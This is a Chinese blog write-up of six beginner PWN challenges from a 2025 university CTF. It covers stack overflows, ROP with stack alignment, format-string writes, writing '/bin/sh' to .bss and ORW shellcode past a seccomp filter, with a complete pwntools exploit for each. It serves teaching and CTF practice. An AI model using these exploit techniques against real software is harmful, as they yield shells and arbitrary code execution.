Featured image of post 2025BJTUCTF-PWN

2025BJTUCTF-PWN

2025年北京交通大学CTF新生赛出题记录,入门指北、writeup

[TOC]

前沿概述

正式比赛时间:2025.11.15 8:00--2025.11.16 23.59

BJTUCTF-PWN:

出题主要考察入门PWN~栈溢出进阶的内容,涉及栈溢出基本原理、libc泄露、ROP构造攻击链、沙盒逃逸等。

出题环境:Ubuntu18.04、Ubuntu24.04、备用Kali2024

程序源代码类型:C语言

已公布WP。

BJTUCTF——WP

1
2
3
4
5
6
7
8
  ____       _ _______ _    _  _____ _______ ______ 
 |  _ \     | |__   __| |  | |/ ____|__   __|  ____|
 | |_) |    | |  | |  | |  | | |       | |  | |__   
 |  _ < _   | |  | |  | |  | | |       | |  |  __|  
 | |_) | |__| |  | |  | |__| | |____   | |  | |     
 |____/ \____/   |_|   \____/ \_____|  |_|  |_|     
                                                    
                                                 ———北京交通大学 

前言:请各位不要完全照抄WP的exp,都是作者在本地复现,要远程连接靶机复现就稍改一下,加个远程端口和IP就好😄。

pwn1

pwn1

这题是让大家测试自己的环境是否部署成功,包括Linux虚拟机、nc、pwntools、python2和3等。

直接运行exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',log_level = 'debug', os = 'linux')
io = process('./pwn1')
#io = remote("ip", port)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode) 
#io.recv() 
io.interactive()  

这题用意在于你是否能理解每一行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 导入pwntools库,这是CTF中pwn题常用的工具库,提供了各种漏洞利用相关的功能
from pwn import *

# 设置程序运行的上下文环境
# arch='i386':指定目标程序是32位架构(x86);当然还有64位架构的,那么此时的arch = 'amd64'
# log_level='debug':设置日志级别为debug,会显示详细的交互信息,方便调试
# os='linux':指定目标操作系统是Linux
context(arch = 'i386', log_level = 'debug', os = 'linux')

# 创建一个进程对象,启动本地的pwn1程序(当前目录下的可执行文件pwn1)
# 相当于在终端中运行./pwn1
io = process('./pwn1')

# 如果是远程连接题目服务器,就注释掉上面的process,使用下面这行
# io = remote("ip", port)  # "ip"是服务器地址,port是端口号,比如remote("127.0.0.1", 10086)

# 生成一个获取shell的shellcode(机器码)
# shellcraft.sh():pwntools内置的生成"获取sh交互shell"的汇编代码
# asm():将汇编代码转换为机器码(可直接在CPU上执行的二进制指令)
shellcode = asm(shellcraft.sh())

# 向程序发送生成的shellcode
# sendline():发送数据后自动添加换行符,相当于在终端输入内容后按回车
io.sendline(shellcode)

# (可选)接收程序返回的内容
# io.recv() 

# 进入交互模式,此时可以像操作终端一样输入命令(比如ls、cat flag等)
# 当程序成功执行shellcode后,会获得一个shell,通过这里进行交互
io.interactive()

PWN的解题思路大致为:checksec指令看保护信息→使用正确的IDA去分析功能函数→看汇编代码和C语言伪代码→寻找漏洞包括后门函数system("/bin/sh");、execve("/bin/sh");、system("sh");等→编写EXP

在此之前需要特别注意的是程序架构,有x86和x64,两个架构的参数传递顺序、字节长度、运行流程都有所差别。

pwn2

pwn2

checksec一下看看:

  • Arch:程序架构为 i386 - 32 - little,即 32 位小端序的 Intel x86 架构。
  • RELRO:开启了 Partial RELRO,意味着部分重定位只读,有一定的防重定向攻击能力,但不是完全的。
  • StackNo canary found,表示栈中没有启用栈保护(金丝雀),这使得栈溢出攻击更容易实施。
  • NXNX enabled,表示启用了不可执行(No - eXecute)保护,即栈上的代码默认不可执行,能防范一些基于栈的代码注入攻击。
  • PIENo PIE,即没有启用地址空间布局随机化(Position - Independent Executable),程序的内存地址是固定的,这对利用内存漏洞(如缓冲区溢出等)有帮助,因为攻击者可以预先知道关键地址。

IDA32位分析:

main函数

双击跟进BJTUCTF函数:

BJTUCTF函数

现在开始读C语言代码了,看看在讲什么,定义了容量为18大小的buf数组,然后有一个read函数,会读取0x32大小到buf上。乍一看很正常,其实这已经是一个漏洞了,我们可以用借助read的作用,使程序发生栈溢出,填满了buf接着溢出后,把return对应的地址给覆盖了,这时候return会指向我们覆盖的代码,那我们可以设计把这个覆盖的代码写成设计好的一个地址,这样return返回到那个地址,去执行我想要的效果。

行,本题基本思路已达成,那我们找找有无可利用的东西,在左边的函数目录上看到了两个函数很可疑:hint & SASCTF

SASCTF函数

hint函数

看到这里就想,根本不是system("/bin/sh");,比较相似有个sh啊,其实在开篇题目运行程序时,就已经提示过了,这题就是要用sh去拿后台程序的flag,没用常见的后门函数,那我们就自己构建一个…。

先把exp框架搭出来:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context( arch = 'i386', os = 'linux', log_level = 'debug')
#io = remote('ip',port)
io = process('./pwn2')

...

io.sendline(payload)
io.recv()
io.interactive()

差payload:

一开始先把缓冲区(buf)填满先,用0x16,待会还要加4,也就是(0x16+4),为什么加4?

在 32 位程序的函数调用栈帧中,结构大致如下(从高地址到低地址):

1
2
3
[返回地址]  ← 函数执行结束后要跳转的地址(4字节)
[ebp]       ← 上一层栈帧的基址指针(4字节)
[局部变量]  ← 包括我们要溢出的缓冲区(大小为0x16字节)

当进行缓冲区溢出时:

  1. 首先需要填充 0x16 字节来填满整个缓冲区(局部变量区域)
  2. 接着需要再填充 4 字节来覆盖 ebp(因为 32 位系统中 ebp 是 4 字节寄存器)

覆盖 ebp 本身对漏洞利用通常没有直接作用,但这是到达返回地址的必经之路 —— 只有先覆盖掉 ebp,后续的数据才能写入到返回地址的位置。

所以 0x16+4 的完整含义是:0x16 字节填满缓冲区 + 4 字节覆盖 ebp,之后就可以开始写入我们想要的返回地址(system 函数地址)了。

system函数:

1
2
3
4
5
// attributes: thunk
int system(const char *command)
{
  return system(command);
}

可知道system函数只有一个变量参数要代入。我们没找到/bin/sh,构造不出system("/bin/sh");,但我们可以构造出system("sh");

用Alt+T搜寻sh字符串地址:

sh的地址是0x804A23D

payload:

1
2
3
4
elf = ELF('./pwn2')
system = elf.sym['system']
sh = 0x804A23D
payload =cyclic(0x16+4) + p32(system) + p32(0) + p32(sh)

其实这里的system函数地址可以用IDA去找的,我这里用ELF去找也行,更方便。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context( arch = 'i386', os = 'linux', log_level = 'debug')
#io = remote('ip',port)
io = process('./pwn2')
elf = ELF('./pwn2')
system = elf.sym['system']
sh = 0x804A23D
payload =cyclic(0x16+4) + p32(system) + p32(0) + p32(sh)
io.sendline(payload)
io.recv()
io.interactive()

pwn3

pwn3

这题来到一个ROPgadget的使用,给各位简单介绍一下:

ROPgadget 是一款在二进制漏洞利用领域广泛使用的工具,主要用于寻找和分析二进制文件中的返回导向编程(Return - Oriented Programming,ROP)小工具(gadget)。

ROPgadget在漏洞利用中的作用

  • 绕过防御机制:在现代操作系统中,存在多种内存保护机制,如栈保护(Canary)、地址空间布局随机化(ASLR)、不可执行栈(NX)等。ROP 技术利用程序中已有的代码片段(ROPgadget)来构建新的执行逻辑,能够在不执行攻击者注入的代码(绕过 NX 保护)的情况下,实现任意代码执行的效果。例如,攻击者可以利用 ROPgadget 来构建系统调用,以获取 shell。
  • 构造复杂攻击链:通过组合不同功能的 ROPgadget,攻击者可以实现一系列复杂的操作,如设置函数参数、调用特定函数等,从而完成对目标程序的攻击。

工作原理

  • 机器码扫描:ROPgadget 会对二进制文件(如 ELF、PE 等格式)进行扫描,它不是基于高级语言的语法来分析,而是直接针对机器码。通过搜索特定的指令序列模式,找到以 ret 指令结尾的指令片段,这些片段就是 ROPgadget。
  • 地址解析:在找到 ROP 小工具后,还会解析出它们在二进制文件中的虚拟地址,方便在漏洞利用代码编写时使用。

主要功能

  • 查找 ROPgadget:用户可以指定二进制文件,ROPgadget 会列出文件中所有符合条件的 ROP 小工具。例如,它可以找到能够用于设置寄存器值、执行系统调用等功能的小工具。
  • 过滤与筛选:支持根据不同的条件对 ROP 小工具进行过滤,比如按照指令的具体内容(如寻找包含特定寄存器操作的 gadget)、操作数的值等进行筛选,帮助使用者更精准地找到需要的小工具。

详见请进入我的文章中学习ROP前传ROP++

题解过程

checksec:

IDA64位分析:

BJTUCTF函数

backdoor函数

找到了一个backdoor函数,那我们就可以通过栈溢出(0xA+8,64位架构的寄存器ebp是8字节大小)覆盖返回地址,使指针指向backdoor的system函数从而得到交互权限拿flag。

先写出大致exp框架:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = remote('ip', port)
io = process('./pwn3')
elf = ELF('./pwn3')
backdoor = elf.sym['backdoor']

...

io.sendline(payload)
io.recv()
io.interactive()

那payload就应该是:

1
payload = cyclic(0xA+8) + p64(backdoor)

看到这里你可以去尝试一下是否能打通,发现是报EOF崩溃的(如SIGSEGV)。

这里涉及到一个细节:

64 位程序调用 system 需考虑堆栈平衡,本质是 64 位 ABI 对 “栈对齐” 的硬性要求 —— 若不满足,函数执行时访问栈内存会崩溃;而 32 位 ABI 无此要求,仅需调用后清理参数栈即可,因此无需额外关注平衡。

对于这个阶段的PWN学习,要进一步判断是否堆栈平衡,需要用到gdb调试,16字节求余等方法去判断,比较难理解,等各位后续学到调用约定、程序架构、栈堆就可慢慢理解,对于当前阶段而言只需记得堆栈不平衡就加上ret的地址进行调平即可。

ret就相当于return,执行之后就会返回“起点”,相当于一次校正,怕你走歪,不然你后续执行程序就会引发崩溃。

所以说 exp的payload 需要考虑到堆栈平衡加上 ret 指令片段的返回地址:

这里我们用:

1
ROPgadget --binary ./pwn3 | grep ret

ROPgadget查询

所以:

1
2
ret = 0x000000000040101a
payload = cyclic(0xA+8) + p64(ret) + p64(backdoor)

根据崩溃情况反推:如果去掉ret后程序崩溃(如报SIGSEGV),但加上ret后正常执行,那就说明需要堆栈平衡,这就是64架构的不同之处。

完整版exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = remote('ip', port)
io = process('./pwn3')
elf = ELF('./pwn3')
backdoor = elf.sym['backdoor']
ret = 0x000000000040101a
payload = cyclic(0xA+8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

pwn4

pwn4

这题初步考察了格式化字符串。

checksec一下:

32位关闭PIE,部分开启RELRO,开启了canary保护,意味着不能用栈溢出那一套方法了。😄

IDA

32位分析:

main函数

从main函数可以看到当Expl0rer = 6 的时候即可获的一个shell。

双击BJTUCTF函数跟进查看:

BJTUCTF函数

可以看到这里的ptintf(s)明显的存在格式化字符串漏洞,第一次接触,不知道为啥这里就存在漏洞?别急后面会逐步讲解。

首先将数组s初始化为0,清除数组中的内容,然后读取0x50的数据到字符数组s中。

printf(s); 使用用户输入的内容作为格式字符串,进行 printf 输出。这里存在格式字符串漏洞,我们可以先简单尝试一下,先正常输入字符,看起来没有问题:

但是当我们输入特殊的格式字符时候会输出特定的内容:

运行了多次,发现下面这串地址是随机化的。

在 C 语言中,%xprintf 等格式化输出函数的格式控制符,用于将整数以十六进制(小写字母) 的形式输出。

输入 %x.%x.%x,可能会输出类似 bffff3a0.8048520.1 的结果,这些就是栈上不同位置的数据(具体值取决于程序运行时的栈状态)。

这种特性使得 %x 成为格式化字符串漏洞中泄露内存信息的常用工具。

多搞几个%x看看:

我试了好几次都不行,再来一次,换成AAAA更明显😔:

终于找到了,偏移量为7,因为是小端序,两位字母为一个单位从右到左排的,所以比较难辨认,当然用BJTU也行:

“BJTU” 对应的十六进制(按字符依次转换)为 0x42 0x4A 0x54 0x55,细心一点就能看出来了。

这个偏移量是7为巧合?可以进行验证一下,分别用指令%7$p%7$x

我们需要让Expl0rer = 6,现在又有格式化字符串漏洞,我们就可以使用其任意地址写功能将Expl0rer的值修改为6即可获得shell。

这里使用pwntools模块中的fmtstr模块直接进行改写:

1
fmtstr_payload(7,{daniu:6})

完整exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',log_level = 'debug', os = 'linux')
io = process('./pwn4')
#io = remote('ip',port)
Expl0rer = 0x804C060
payload = fmtstr_payload(7,{Expl0rer:6})
io.sendline(payload)
io.interactive()

pwn5

pwn5

这题对于PWN入门手来说最大一个弱点是过度依赖IDA,其实这是一个缓冲区是一个动态分配,我们需要搭配pwngdb、pwndbg去调试,得出真实的缓冲区。

checksec:

32位关canary、PIE保护,开NX保护。

IDA32位分析:

main函数

main函数这很明显有个栈溢出漏洞,0x64+4就能覆盖。

在汇编代码块这看到了个_system

secure函数

全局搜索了下,没有看到/bin/sh。

顺便搜索了system:

system

接着我们需要通过gets函数手动写入/bin/sh字符串到一个可写可执行区域,通常在bss段,在ida找到一个地址。

bss字段

为什么要写入bss内存字段?直接给system函数压进一个字符串/bin/sh作为变量不就可以了吗?这我当初也这么想,其实不然:

BSS 段的特性:BSS(Block Started by Symbol)段通常用于存储未初始化或初始化为 0 的全局变量和静态变量。它在程序加载时就已经分配好了固定的内存空间, 并且在程序的整个生命周期内,这块内存区域的地址是相对稳定的。将/bin/sh写入 BSS 段,可以保证字符串在需要使用时,其内容不会被意外修改,从而确保system函数能够正确获取到参数。

变量有效性:不管是system、常见的printf、read这些函数都是要有参数的,不是简简单单放一个字符串就可以了,变量需要在程序中有地址,这样程序才能找到它,单一个字符串是没有意义的,因为没有分配内存地址。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context.log_level = 'debug'
io = process('./pwn5')
#io = remote('ip',port)
elf = ELF('./pwn5')
sys_addr = elf.plt['system']
gets_addr = elf.plt['gets']
bss_addr = 0x0804A080
payload = cyclic(0x70) + p32(gets_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

对于缓冲区大小,不是0x64+4吗?这里是一个坑,这里我们具体要用gdb+cyclic来分析:

详细步骤:

第一步先生成个200个随机字符,毕竟大部分参数容量大小不会有200这么大吧。

复制,接着给gets或者main函数断点,再输入r(run)运行程序:

这时候就会出现彩色的调试界面,有些人是在一个终端窗口出现的,我的是在另外一个弹出终端窗口调试界面的。

输入n(next),一步步执行程序,直到指针指向gets函数需要我们输入字符串的时候:

输入上次用cyclic生成的200个随机字符串。

然后再下一步n,直到崩溃:

出现了SIGSEGV崩溃标识,右边是我们注入的200个随机字符串的结果。

去调试界面,看EIP状况:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
──────────────────────────[ REGISTERS ]──────────────────────────
EAX  0x0
EBX  0x0
ECX  0xf7fac5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
EDX  0xf7fad89c (_IO_stdfile_0_lock) ◂— 0x0
EDI  0x0
ESI  0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP  0x62616163 ('caab')
ESP  0xffffcf10 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
EIP  0x62616164 ('daab')
───────────────────────────[ DISASM ]────────────────────────────
Invalid address 0x62616164



────────────────────────────[ STACK ]────────────────────────────
00:0000│ esp  0xffffcf10 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│      0xffffcf14 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│      0xffffcf18 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│      0xffffcf1c ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│      0xffffcf20 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│      0xffffcf24 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│      0xffffcf28 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│      0xffffcf2c ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
──────────────────────────[ BACKTRACE ]──────────────────────────
► f 0 62616164
  f 1 62616165
  f 2 62616166
  f 3 62616167
  f 4 62616168
  f 5 62616169
  f 6 6261616a
  f 7 6261616b

在利用 cyclic 工具进行缓冲区溢出漏洞测试时,关注 EIP 寄存器中存储的字符串(实际上是特定模式的字符序列),是为了精确定位覆盖 EIP 所需的偏移量,这是漏洞利用的关键步骤。

这时,EIP被“daab”所覆盖,这里用cyclic工具查此时的偏移量。

1
cyclic -l 'xxxx'

112的十六进制是0x70,我们程序需要覆盖的大小应该是0x70。

对于payload:

  • p32(gets_addr)gets_addrgets 函数在程序 PLT(过程链接表)中的地址(整数形式)。通过 p32,将这个32 位的地址整数转换成小端字节序的 32 位二进制数据,这样当 payload 被程序接收并处理时,内存中就能正确存储 gets 函数的地址,为后续调用 gets 函数做准备。
  • p32(sys_addr)sys_addrsystem 函数在 PLT 中的地址(整数形式)。同样,p32 把这个地址转换成小端字节序的 32 位二进制数据,目的是让程序后续能正确跳转到 system 函数执行。
  • 两个 p32(bss_addr)bss_addr 是程序 .bss 段的一个地址(整数形式)。第一个 p32(bss_addr) 是作为 system 函数的返回地址(不过在这个利用逻辑里,更关键的是第二个 p32(bss_addr));第二个 p32(bss_addr) 是作为 gets 函数的参数,意思是让 gets 函数把用户输入(这里是 /bin/sh)写入到 bss_addr 对应的内存位置。之后调用 system 函数时,就会以 bss_addr 处的 /bin/sh 作为参数,执行 system("/bin/sh") 来获取 shell。

小结:总的来说这题对新手不算友好,但在PWN手来说算基本操作。

pwn6

pwn6

checksec保护信息:

IDA 分析(依据函数功能修改对应函数名):

main函数

看到了陌生的mmap函数:

1、将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代 I/O 读写,以获得较高的性能;

2、将特殊文件进行匿名内存映射,可以为关联进程提供共享内存空间;

3、为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。

那这里的mmap函数作用就是把从 0x123000 开始的地址,大小为 0x1000 的长度,权限改为可写可执行

跟进seccomp函数:

seccomp函数

seccomp 主要用于配置和加载 Seccomp(Secure Computing Mode,安全计算模式) 策略,来限制程序可以执行的系统调用,以增强程序的安全性。

PWN经典题目——沙箱逃逸(对立是沙盒过滤):

1
seccomp-tools dump ./pwn6

可以看到,只有 read,write,open,exit 可以使用,使用 open–>read–>write 这样的 orw 的方式。

ORW 指的是 Open-Read-Write 技术,是一种利用系统调用读取文件内容(如 flag 文件)的攻击方法。

ORW 通过以下三个系统调用实现:

open:打开目标文件,获取文件描述符。

read:通过文件描述符读取文件内容到缓冲区。

write:将缓冲区的内容写入标准输出。

跟进BJTUCTF函数:

BJTUCTF函数

看到了明显的栈溢出漏洞,在上面我提及过 mmap 函数,在 main 函数已经执行过一次了,在 0x123000 这里已经有可写可执行权限了。到这里,攻击思路就比较清晰了,我们想办法往 mmap 给的这个地址段里面写 shellcode (ORW),然后跳转到这里执行。

那我们的 orw_shellcode:

1
2
3
4
5
mmap = 0x123000
orw_shellcode = shellcraft.open("/flag")
orw_shellcode = shellcraft.read(3,mmap,0x100)## read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器
orw_shellcode = shellcraft.write(1,mmap,0x100)
shellcode = asm(orw_shellcode)

shellcode 已经编好了,现在编 payload 让程序听我们话,将 shellcode 注入进内存中去。

shellcraft.read 的作用是执行 read 函数的后续流程 —— 读取 0x100 长度的字符(也就是后续的 orw_shellcode),文件描述符 fd=3(0、1、2 已被标准文件占用)

shellcraft.write(1, mmap, 0x100)1Linux 标准输出(stdout)的固定文件描述符,其功能是将 mmap 区域中存储的 \flag 内容输出到屏幕,当成 printf 也行。

payload:

1
2
3
4
jmp_rsp = 0x400a01
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax, 0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp) +asm("sub rsp, 0x30; jmp rsp")

我在汇编代码分析的过程中找到关键的 jmp_rsp 后门地址,可以调用这行汇编代码来实现跳转回起始地址:

后门jmp_rsp = 0x400a01

ayload = asm (shellcraft.read (0, mmap, 0x100)) 的意思是启动 read 函数,开启 “读取模式” 处于待读取状态,等待后面的 orw_shellcode 的出现,并存到 mmap 的可读可写区域(2+4);

最正确理解:执行后因缺少输入数据(orw_shellcode)才进入 “等待状态”。

asm (“mov rax, 0x123000; jmp rax”) 的意思是跳到 mmap=0x123000 区域,也就是指向这个区域,等待后续 orw_shellcode 注入执行。

payload = asm (shellcraft.read (0, mmap, 0x100)) + asm (“mov rax, 0x123000; jmp rax”) 加起来不足 0x28 个字节(0x20+8),让 buf 刚好充满,以便后续rsp 调整到 buf 缓冲区起始地址(buf 复原)。

python3 的 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#io = remote('ip' , port)
io = process('./pwn')
mmap = 0x123000
jmp_rsp = 0x400a01
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax, 0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp) +asm("sub rsp, 0x30; jmp rsp")
orw_shellcode = shellcraft.open("/flag") + shellcraft.read(3, mmap, 0x100) + shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)
io.recvuntil('do')
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

结尾

有疑问解决不了,可以在下方评论区相互交流,作者一直都在….

最后更新于 2025-12-28